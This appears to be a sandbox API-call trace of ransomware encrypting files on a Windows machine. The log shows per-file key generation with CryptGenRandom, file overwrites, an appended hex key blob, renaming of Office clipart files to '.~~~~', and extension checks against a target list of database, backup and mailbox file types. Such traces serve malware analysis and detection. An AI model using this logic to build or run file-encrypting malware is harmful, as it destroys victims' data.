	[0111.560] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x282fc68
	[0111.560] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0111.560] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x282fc68 | out: hHeap=0x300000) returned 1
	[0111.560] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0111.560] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0111.560] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28a5f08
	[0111.560] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0111.560] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2831b38
	[0111.560] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a5f08 | out: hHeap=0x300000) returned 1
	[0111.560] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0111.560] GetLastError () returned 0x0
	[0111.561] GetLastError () returned 0x0
	[0111.561] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0111.561] GetLastError () returned 0x0
	[0111.561] GetLastError () returned 0x0
	[0111.679] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0xffffeed2, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0111.679] WriteFile (in: hFile=0x144, lpBuffer=0x2916058*, nNumberOfBytesToWrite=0x112e, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2916058*, lpNumberOfBytesWritten=0x26dfec0*=0x112e, lpOverlapped=0x0) returned 1
	[0111.683] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2916058 | out: hHeap=0x300000) returned 1
	[0111.683] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0111.684] WriteFile (in: hFile=0x144, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0111.684] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0111.684] WriteFile (in: hFile=0x144, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0111.684] CloseHandle (hObject=0x144) returned 1
	[0112.006] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29c9a40
	[0112.017] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00686_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00686_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00686_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00686_.wmf.~~~~")) returned 1
	[0112.034] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29c9a40 | out: hHeap=0x300000) returned 1
	[0112.034] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0112.034] GetLastError () returned 0x0
	[0112.034] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x2942208) returned 1
	[0112.036] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363080 | out: pbBuffer=0x363080) returned 1
	[0112.036] CryptReleaseContext (hProv=0x2942208, dwFlags=0x0) returned 1
	[0112.036] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363080 | out: hHeap=0x300000) returned 1
	[0112.036] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0112.036] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0112.036] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=23202628538) returned 1
	[0112.036] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xac61ab10, dwHighDateTime=0x1d60e1e)) 
	[0112.036] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0112.036] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0112.036] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0112.036] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x282fe28
	[0112.037] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0112.037] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x282fe28 | out: hHeap=0x300000) returned 1
	[0112.037] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0112.037] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0112.037] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29c9a40
	[0112.037] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0112.037] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2831bd0
	[0112.037] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29c9a40 | out: hHeap=0x300000) returned 1
	[0112.037] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0112.037] GetLastError () returned 0x0
	[0112.038] GetLastError () returned 0x0
	[0112.038] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0112.038] GetLastError () returned 0x0
	[0112.038] GetLastError () returned 0x0
	[0112.040] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0xffffd6fc, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0112.041] WriteFile (in: hFile=0x11c, lpBuffer=0x29d0090*, nNumberOfBytesToWrite=0x2904, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x29d0090*, lpNumberOfBytesWritten=0x26dfec0*=0x2904, lpOverlapped=0x0) returned 1
	[0112.042] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29d0090 | out: hHeap=0x300000) returned 1
	[0112.042] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0112.042] WriteFile (in: hFile=0x11c, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0112.042] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0112.042] WriteFile (in: hFile=0x11c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0112.042] CloseHandle (hObject=0x11c) returned 1
	[0112.042] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29c9a40
	[0112.042] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00998_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00998_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00998_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00998_.wmf.~~~~")) returned 1
	[0112.043] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29c9a40 | out: hHeap=0x300000) returned 1
	[0112.044] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0112.044] GetLastError () returned 0x0
	[0112.044] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x2942208) returned 1
	[0112.046] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363080 | out: pbBuffer=0x363080) returned 1
	[0112.046] CryptReleaseContext (hProv=0x2942208, dwFlags=0x0) returned 1
	[0112.046] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363080 | out: hHeap=0x300000) returned 1
	[0112.046] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0112.046] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0112.046] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=23203594899) returned 1
	[0112.046] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xac61ab10, dwHighDateTime=0x1d60e1e)) 
	[0112.046] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0112.046] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0112.046] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0112.046] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x282fe60
	[0112.046] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0112.046] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x282fe60 | out: hHeap=0x300000) returned 1
	[0112.046] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0112.046] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0112.047] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29c9a40
	[0112.047] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0112.047] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2832128
	[0112.047] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29c9a40 | out: hHeap=0x300000) returned 1
	[0112.047] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0112.047] GetLastError () returned 0x0
	[0112.047] GetLastError () returned 0x0
	[0112.047] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0112.048] GetLastError () returned 0x0
	[0112.048] GetLastError () returned 0x0
	[0112.051] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0xfffff67c, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0112.051] WriteFile (in: hFile=0x11c, lpBuffer=0x29d0090*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x29d0090*, lpNumberOfBytesWritten=0x26dfec0*=0x984, lpOverlapped=0x0) returned 1
	[0112.052] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29d0090 | out: hHeap=0x300000) returned 1
	[0112.052] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0112.052] WriteFile (in: hFile=0x11c, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0112.052] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0112.052] WriteFile (in: hFile=0x11c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0112.052] CloseHandle (hObject=0x11c) returned 1
	[0112.053] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29c9a40
	[0112.053] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE01160_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe01160_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE01160_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe01160_.wmf.~~~~")) returned 1
	[0112.054] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29c9a40 | out: hHeap=0x300000) returned 1
	[0112.054] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0112.054] GetLastError () returned 0x0
	[0112.054] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x2942208) returned 1
	[0112.056] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363080 | out: pbBuffer=0x363080) returned 1
	[0112.056] CryptReleaseContext (hProv=0x2942208, dwFlags=0x0) returned 1
	[0112.056] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363080 | out: hHeap=0x300000) returned 1
	[0112.056] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0112.056] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0112.056] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=23204626449) returned 1
	[0112.056] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xac640c70, dwHighDateTime=0x1d60e1e)) 
	[0112.056] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0112.056] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0112.056] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0112.057] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x282fe98
	[0112.057] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0112.057] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x282fe98 | out: hHeap=0x300000) returned 1
	[0112.057] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0112.057] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0112.057] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29c9a40
	[0112.057] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0112.057] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28321c0
	[0112.057] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29c9a40 | out: hHeap=0x300000) returned 1
	[0112.057] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0112.057] GetLastError () returned 0x0
	[0112.058] GetLastError () returned 0x0
	[0112.058] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0112.058] GetLastError () returned 0x0
	[0112.058] GetLastError () returned 0x0
	[0112.062] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0xfffffa64, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0112.062] WriteFile (in: hFile=0x11c, lpBuffer=0x29d0090*, nNumberOfBytesToWrite=0x59c, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x29d0090*, lpNumberOfBytesWritten=0x26dfec0*=0x59c, lpOverlapped=0x0) returned 1
	[0112.336] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29d0090 | out: hHeap=0x300000) returned 1
	[0112.336] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0112.336] WriteFile (in: hFile=0x11c, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0112.341] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0112.341] WriteFile (in: hFile=0x11c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0112.341] CloseHandle (hObject=0x11c) returned 1
	[0112.405] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29caaa8
	[0112.405] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE01172_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe01172_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE01172_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe01172_.wmf.~~~~")) returned 1
	[0112.417] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29caaa8 | out: hHeap=0x300000) returned 1
	[0112.418] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0112.418] GetLastError () returned 0x0
	[0112.433] lstrlenW (lpString=".sqb") returned 4
	[0112.433] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02169_.WMF", lpSrch=".sqb") returned 0x0
	[0112.433] lstrlenW (lpString=".ost") returned 4
	[0112.433] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02169_.WMF", lpSrch=".ost") returned 0x0
	[0112.433] lstrlenW (lpString=".txt") returned 4
	[0112.433] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02169_.WMF", lpSrch=".txt") returned 0x0
	[0112.433] lstrlenW (lpString=".mdt") returned 4
	[0112.433] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02169_.WMF", lpSrch=".mdt") returned 0x0
	[0112.433] lstrlenW (lpString=".BDB") returned 4
	[0112.433] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02169_.WMF", lpSrch=".BDB") returned 0x0
	[0112.433] lstrlenW (lpString=".eql") returned 4
	[0112.433] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02169_.WMF", lpSrch=".eql") returned 0x0
	[0112.433] lstrlenW (lpString=".DBF") returned 4
	[0112.434] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02169_.WMF", lpSrch=".DBF") returned 0x0
	[0112.434] lstrlenW (lpString=".EQL") returned 4
	[0112.434] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02169_.WMF", lpSrch=".EQL") returned 0x0
	[0112.434] lstrlenW (lpString=".FDB") returned 4
	[0112.434] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02169_.WMF", lpSrch=".FDB") returned 0x0
	[0112.434] lstrlenW (lpString=".EDB") returned 4
	[0112.434] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02169_.WMF", lpSrch=".EDB") returned 0x0
	[0112.434] lstrlenW (lpString=".DACPAC") returned 7
	[0112.434] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02169_.WMF", lpSrch=".DACPAC") returned 0x0
	[0112.434] lstrlenW (lpString=".VHD") returned 4
	[0112.434] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02169_.WMF", lpSrch=".VHD") returned 0x0
	[0112.434] lstrlenW (lpString=".DBV") returned 4
	[0112.434] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02169_.WMF", lpSrch=".DBV") returned 0x0
	[0112.434] lstrlenW (lpString=".dacpac") returned 7
	[0112.434] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02169_.WMF", lpSrch=".dacpac") returned 0x0
	[0112.434] lstrlenW (lpString=".sdf") returned 4
	[0112.434] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02169_.WMF", lpSrch=".sdf") returned 0x0
	[0112.434] lstrlenW (lpString=".accdb") returned 6
	[0112.434] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02169_.WMF", lpSrch=".accdb") returned 0x0
	[0112.434] lstrlenW (lpString=".DBX") returned 4
	[0112.434] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02169_.WMF", lpSrch=".DBX") returned 0x0
	[0112.434] lstrlenW (lpString=".MDT") returned 4
	[0112.434] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02169_.WMF", lpSrch=".MDT") returned 0x0
	[0112.434] lstrlenW (lpString=".SQB") returned 4
	[0112.434] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02169_.WMF", lpSrch=".SQB") returned 0x0
	[0112.434] lstrlenW (lpString=".vhd") returned 4
	[0112.434] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02169_.WMF", lpSrch=".vhd") returned 0x0
	[0112.434] lstrlenW (lpString=".bac") returned 4
	[0112.435] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02169_.WMF", lpSrch=".bac") returned 0x0
	[0112.435] lstrlenW (lpString=".mdf") returned 4
	[0112.435] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02169_.WMF", lpSrch=".mdf") returned 0x0
	[0112.435] lstrlenW (lpString=".BAK") returned 4
	[0112.435] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02169_.WMF", lpSrch=".BAK") returned 0x0
	[0112.435] lstrlenW (lpString=".BAC") returned 4
	[0112.435] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02169_.WMF", lpSrch=".BAC") returned 0x0
	[0112.435] lstrlenW (lpString=".dbs") returned 4
	[0112.435] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02169_.WMF", lpSrch=".dbs") returned 0x0
	[0112.435] lstrlenW (lpString=".vhdx") returned 5
	[0112.435] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02169_.WMF", lpSrch=".vhdx") returned 0x0
	[0112.435] lstrlenW (lpString=".NDF") returned 4
	[0112.435] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02169_.WMF", lpSrch=".NDF") returned 0x0
	[0112.435] lstrlenW (lpString=".dat") returned 4
	[0112.435] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02169_.WMF", lpSrch=".dat") returned 0x0
	[0112.435] lstrlenW (lpString=".DBS") returned 4
	[0112.435] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02169_.WMF", lpSrch=".DBS") returned 0x0
	[0112.435] lstrlenW (lpString=".CKP") returned 4
	[0112.435] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02169_.WMF", lpSrch=".CKP") returned 0x0
	[0112.435] lstrlenW (lpString=".edb") returned 4
	[0112.435] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02169_.WMF", lpSrch=".edb") returned 0x0
	[0112.435] lstrlenW (lpString=".PST") returned 4
